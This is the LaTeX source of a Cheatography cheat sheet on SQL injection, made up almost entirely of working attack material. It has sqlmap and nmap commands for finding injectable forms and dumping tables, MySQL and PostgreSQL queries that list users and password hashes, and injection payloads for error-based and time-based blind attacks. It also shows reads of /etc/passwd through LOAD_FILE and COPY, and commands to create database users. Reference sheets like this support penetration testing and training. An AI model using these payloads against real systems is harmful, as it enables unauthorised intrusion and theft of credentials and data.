\documentclass[10pt,a4paper]{article} % Packages \usepackage{fancyhdr} % For header and footer \usepackage{multicol} % Allows multicols in tables \usepackage{tabularx} % Intelligent column widths \usepackage{tabulary} % Used in header and footer \usepackage{hhline} % Border under tables \usepackage{graphicx} % For images \usepackage{xcolor} % For hex colours %\usepackage[utf8x]{inputenc} % For unicode character support \usepackage[T1]{fontenc} % Without this we get weird character replacements \usepackage{colortbl} % For coloured tables \usepackage{setspace} % For line height \usepackage{lastpage} % Needed for total page number \usepackage{seqsplit} % Splits long words. %\usepackage{opensans} % Can't make this work so far. Shame. Would be lovely. \usepackage[normalem]{ulem} % For underlining links % Most of the following are not required for the majority % of cheat sheets but are needed for some symbol support. \usepackage{amsmath} % Symbols \usepackage{MnSymbol} % Symbols \usepackage{wasysym} % Symbols %\usepackage[english,german,french,spanish,italian]{babel} % Languages % Document Info \author{Neolex} \pdfinfo{ /Title (injection-sql.pdf) /Creator (Cheatography) /Author (Neolex) /Subject (Injection SQL Cheat Sheet) } % Lengths and widths \addtolength{\textwidth}{6cm} \addtolength{\textheight}{-1cm} \addtolength{\hoffset}{-3cm} \addtolength{\voffset}{-2cm} \setlength{\tabcolsep}{0.2cm} % Space between columns \setlength{\headsep}{-12pt} % Reduce space between header and content \setlength{\headheight}{85pt} % If less, LaTeX automatically increases it \renewcommand{\footrulewidth}{0pt} % Remove footer line \renewcommand{\headrulewidth}{0pt} % Remove header line \renewcommand{\seqinsert}{\ifmmode\allowbreak\else\-\fi} % Hyphens in seqsplit % This two commands together give roughly % the right line height in the tables \renewcommand{\arraystretch}{1.3} \onehalfspacing % Commands \newcommand{\SetRowColor}[1]{\noalign{\gdef\RowColorName{#1}}\rowcolor{\RowColorName}} % Shortcut for row colour \newcommand{\mymulticolumn}[3]{\multicolumn{#1}{>{\columncolor{\RowColorName}}#2}{#3}} % For coloured multi-cols \newcolumntype{x}[1]{>{\raggedright}p{#1}} % New column types for ragged-right paragraph columns \newcommand{\tn}{\tabularnewline} % Required as custom column type in use % Font and Colours \definecolor{HeadBackground}{HTML}{333333} \definecolor{FootBackground}{HTML}{666666} \definecolor{TextColor}{HTML}{333333} \definecolor{DarkBackground}{HTML}{8C1111} \definecolor{LightBackground}{HTML}{FBF7F7} \renewcommand{\familydefault}{\sfdefault} \color{TextColor} % Header and Footer \pagestyle{fancy} \fancyhead{} % Set header to blank \fancyfoot{} % Set footer to blank \fancyhead[L]{ \noindent \begin{multicols}{3} \begin{tabulary}{5.8cm}{C} \SetRowColor{DarkBackground} \vspace{-7pt} {\parbox{\dimexpr\textwidth-2\fboxsep\relax}{\noindent \hspace*{-6pt}\includegraphics[width=5.8cm]{/web/www.cheatography.com/public/images/cheatography_logo.pdf}} } \end{tabulary} \columnbreak \begin{tabulary}{11cm}{L} \vspace{-2pt}\large{\bf{\textcolor{DarkBackground}{\textrm{Injection SQL Cheat Sheet}}}} \\ \normalsize{by \textcolor{DarkBackground}{Neolex} via \textcolor{DarkBackground}{\uline{cheatography.com/32330/cs/9949/}}} \end{tabulary} \end{multicols}} \fancyfoot[L]{ \footnotesize \noindent \begin{multicols}{3} \begin{tabulary}{5.8cm}{LL} \SetRowColor{FootBackground} \mymulticolumn{2}{p{5.377cm}}{\bf\textcolor{white}{Cheatographer}} \\ \vspace{-2pt}Neolex \\ \uline{cheatography.com/neolex} \\ \uline{\seqsplit{neol3x}.wordpress.com} \end{tabulary} \vfill \columnbreak \begin{tabulary}{5.8cm}{L} \SetRowColor{FootBackground} \mymulticolumn{1}{p{5.377cm}}{\bf\textcolor{white}{Cheat Sheet}} \\ \vspace{-2pt}Published 23rd November, 2016.\\ Updated 23rd November, 2016.\\ Page {\thepage} of \pageref{LastPage}. \end{tabulary} \vfill \columnbreak \begin{tabulary}{5.8cm}{L} \SetRowColor{FootBackground} \mymulticolumn{1}{p{5.377cm}}{\bf\textcolor{white}{Sponsor}} \\ \SetRowColor{white} \vspace{-5pt} %\includegraphics[width=48px,height=48px]{dave.jpeg} Measure your website readability!\\ www.readability-score.com \end{tabulary} \end{multicols}} \begin{document} \raggedright \raggedcolumns % Set font size to small. Switch to any value % from this page to resize cheat sheet text: % www.emerson.emory.edu/services/latex/latex_169.html \footnotesize % Small font. \begin{multicols*}{2} \begin{tabularx}{8.4cm}{p{1.04 cm} x{6.96 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{8.4cm}}{\bf\textcolor{white}{Automated tools}} \tn % Row 0 \SetRowColor{LightBackground} \seqsplit{SQLMAP} & sqlmap -u "url" -{}-forms -{}-batch -{}-crawl=10 -{}-level=5 -{}-risk=3 \tn % Row Count 2 (+ 2) % Row 1 \SetRowColor{white} NMAP & nmap -p80 -{}-script=http-sql-injection -{}-script-args=httpspider.maxpageocount=200 \textless{}target\textgreater{} \tn % Row Count 5 (+ 3) \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{x{3.28 cm} x{4.72 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{8.4cm}}{\bf\textcolor{white}{Mysql}} \tn % Row 0 \SetRowColor{LightBackground} Version & SELECT @@version; \tn % Row Count 1 (+ 1) % Row 1 \SetRowColor{white} Comments & /{\emph{ }}/ ou \# \tn % Row Count 2 (+ 1) % Row 2 \SetRowColor{LightBackground} Current user & SELECT user(); || SELECT system\_user() \tn % Row Count 4 (+ 2) % Row 3 \SetRowColor{white} List users & SELECT user FROM mysql.user; \tn % Row Count 6 (+ 2) % Row 4 \SetRowColor{LightBackground} List password hashes & SELECT host, user, password FROM mysql.user; \tn % Row Count 8 (+ 2) % Row 5 \SetRowColor{white} Current database & SELECT database() \tn % Row Count 9 (+ 1) % Row 6 \SetRowColor{LightBackground} List databases & SELECT schema\_name FROM \seqsplit{information\_schema.schemata;} || SELECT distinct(db) FROM mysql.db \tn % Row Count 13 (+ 4) % Row 7 \SetRowColor{white} List tables & SELECT table\_schema,table\_name FROM \seqsplit{information\_schema.tables} WHERE table\_schema != 'mysql' AND table\_schema != 'information\_schema' \tn % Row Count 20 (+ 7) % Row 8 \SetRowColor{LightBackground} List collumns & SELECT table\_schema, table\_name, column\_name FROM \seqsplit{information\_schema.columns} WHERE table\_schema != 'mysql' AND table\_schema != 'information\_schema' \tn % Row Count 27 (+ 7) % Row 9 \SetRowColor{white} Find Tables From Column Name & SELECT table\_schema, table\_name FROM \seqsplit{information\_schema.columns} WHERE column\_name = 'username'; \tn % Row Count 32 (+ 5) \end{tabularx} \par\addvspace{1.3em} \vfill \columnbreak \begin{tabularx}{8.4cm}{x{3.28 cm} x{4.72 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{8.4cm}}{\bf\textcolor{white}{Mysql (cont)}} \tn % Row 10 \SetRowColor{LightBackground} Time delay & SELECT BENCHMARK(1000000,MD5('A')); SELECT SLEEP(5); \# \textgreater{}= 5.0.12 \tn % Row Count 3 (+ 3) % Row 11 \SetRowColor{white} Local File Access & …' UNION ALL SELECT \seqsplit{LOAD\_FILE('/etc/passwd')} — \tn % Row Count 6 (+ 3) % Row 12 \SetRowColor{LightBackground} Hostname/IP Address & SELECT @@hostname; \tn % Row Count 8 (+ 2) % Row 13 \SetRowColor{white} Create user & CREATE USER test1 IDENTIFIED BY 'pass1′; — \tn % Row Count 11 (+ 3) % Row 14 \SetRowColor{LightBackground} Delete user & DROP USER test1; — \tn % Row Count 12 (+ 1) % Row 15 \SetRowColor{white} Location of the db file & SELECT @@datadir; \tn % Row Count 14 (+ 2) \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{SQLMAP}} \tn % Row 0 \SetRowColor{LightBackground} \mymulticolumn{1}{x{8.4cm}}{sqlmap -u "url" -DBS} \tn % Row Count 1 (+ 1) % Row 1 \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{sqlmap -u "url" -table -D {[}database{]}} \tn % Row Count 2 (+ 1) % Row 2 \SetRowColor{LightBackground} \mymulticolumn{1}{x{8.4cm}}{sqlmap -u "url" -columns -D {[}database{]} -T {[}table{]}} \tn % Row Count 3 (+ 1) % Row 3 \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{sqlmap -u "url" -dump -D {[}database{]} -T {[}table{]}} \tn % Row Count 4 (+ 1) \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{x{2.72 cm} x{5.28 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{8.4cm}}{\bf\textcolor{white}{Manually Attack}} \tn % Row 0 \SetRowColor{LightBackground} Quick detect INTEGERS & select 1 and row(1,1)\textgreater{}(select count({\emph{),concat(CONCAT(@@VERSION),0x3a,floor(rand()}}2))x from (select 1 union select 2)a group by x limit 1)) \tn % Row Count 6 (+ 6) % Row 1 \SetRowColor{white} Quick detect STRINGS & '+(select 1 and row(1,1)\textgreater{}(select count({\emph{),concat(CONCAT(@@VERSION),0x3a,floor(rand()}}2))x from (select 1 union select 2)a group by x limit 1))+' \tn % Row Count 12 (+ 6) % Row 2 \SetRowColor{LightBackground} Clear SQL Test & product.php?id=4 product.php?id=5-1 product.php?id=4 OR 1=1 product.php?id=-1 OR 17-7=10 \tn % Row Count 16 (+ 4) % Row 3 \SetRowColor{white} Blind SQL Injection & SLEEP(25)-{}- SELECT BENCHMARK(1000000,MD5('A')); \tn % Row Count 18 (+ 2) % Row 4 \SetRowColor{LightBackground} Real world sample & ProductID=1 OR SLEEP(25)=0 LIMIT 1-{}- ProductID=1) OR SLEEP(25)=0 LIMIT 1-{}- ProductID=1' OR SLEEP(25)=0 LIMIT 1-{}- ProductID=1') OR SLEEP(25)=0 LIMIT 1-{}- ProductID=1)) OR SLEEP(25)=0 LIMIT 1-{}- ProductID=SELECT SLEEP(25)-{}- \tn % Row Count 27 (+ 9) \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{x{3.28 cm} x{4.72 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{8.4cm}}{\bf\textcolor{white}{PostgreSQL}} \tn % Row 0 \SetRowColor{LightBackground} Version & SELECT version() \tn % Row Count 1 (+ 1) % Row 1 \SetRowColor{white} Comments & -comment | /{\emph{ comment }}/ \tn % Row Count 3 (+ 2) % Row 2 \SetRowColor{LightBackground} Current user & SELECT user; SELECT current\_user; SELECT session\_user; SELECT usename FROM pg\_user; SELECT getpgusername(); \tn % Row Count 8 (+ 5) % Row 3 \SetRowColor{white} List users & SELECT usename FROM pg\_user \tn % Row Count 10 (+ 2) % Row 4 \SetRowColor{LightBackground} List DBA Accounts & SELECT usename FROM pg\_user WHERE usesuper IS TRUE \tn % Row Count 13 (+ 3) % Row 5 \SetRowColor{white} List password hashes & SELECT usename, passwd FROM pg\_shadow — priv \tn % Row Count 15 (+ 2) % Row 6 \SetRowColor{LightBackground} Current database & SELECT current\_database() \tn % Row Count 17 (+ 2) % Row 7 \SetRowColor{white} List databases & SELECT datname FROM pg\_database \tn % Row Count 19 (+ 2) % Row 8 \SetRowColor{LightBackground} List tables & SELECT c.relname FROM pg\_catalog.pg\_class c LEFT JOIN \seqsplit{pg\_catalog.pg\_namespace} n ON n.oid = c.relnamespace WHERE c.relkind IN ('r',") AND n.nspname NOT IN ('pg\_catalog', 'pg\_toast') AND \seqsplit{pg\_catalog.pg\_table\_is\_visible(c.oid)} \tn % Row Count 30 (+ 11) \end{tabularx} \par\addvspace{1.3em} \vfill \columnbreak \begin{tabularx}{8.4cm}{x{3.28 cm} x{4.72 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{8.4cm}}{\bf\textcolor{white}{PostgreSQL (cont)}} \tn % Row 9 \SetRowColor{LightBackground} List collumns & SELECT relname, A.attname FROM pg\_class C, pg\_namespace N, pg\_attribute A, pg\_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum\textgreater{}0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') \tn % Row Count 12 (+ 12) % Row 10 \SetRowColor{white} Find Tables From Column Name & SELECT DISTINCT relname FROM pg\_class C, pg\_namespace N, pg\_attribute A, pg\_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum\textgreater{}0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '\%password\%'; \tn % Row Count 25 (+ 13) % Row 11 \SetRowColor{LightBackground} Time delay & SELECT pg\_sleep(10); \tn % Row Count 26 (+ 1) % Row 12 \SetRowColor{white} Local File Access & CREATE TABLE mydata(t text); COPY mydata FROM '/etc/passwd'; \tn % Row Count 29 (+ 3) % Row 13 \SetRowColor{LightBackground} Hostname/IP Address & SELECT inet\_server\_addr(); \tn % Row Count 31 (+ 2) \end{tabularx} \par\addvspace{1.3em} \vfill \columnbreak \begin{tabularx}{8.4cm}{x{3.28 cm} x{4.72 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{8.4cm}}{\bf\textcolor{white}{PostgreSQL (cont)}} \tn % Row 14 \SetRowColor{LightBackground} Port & SELECT inet\_server\_port(); \tn % Row Count 2 (+ 2) % Row 15 \SetRowColor{white} Create user & CREATE USER test1 PASSWORD 'pass1′ CREATEUSER \tn % Row Count 5 (+ 3) % Row 16 \SetRowColor{LightBackground} Delete user & DROP USER test1; \tn % Row Count 6 (+ 1) % Row 17 \SetRowColor{white} Location of the db file & SELECT \seqsplit{current\_setting('data\_directory');} \tn % Row Count 8 (+ 2) \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} % That's all folks \end{multicols*} \end{document}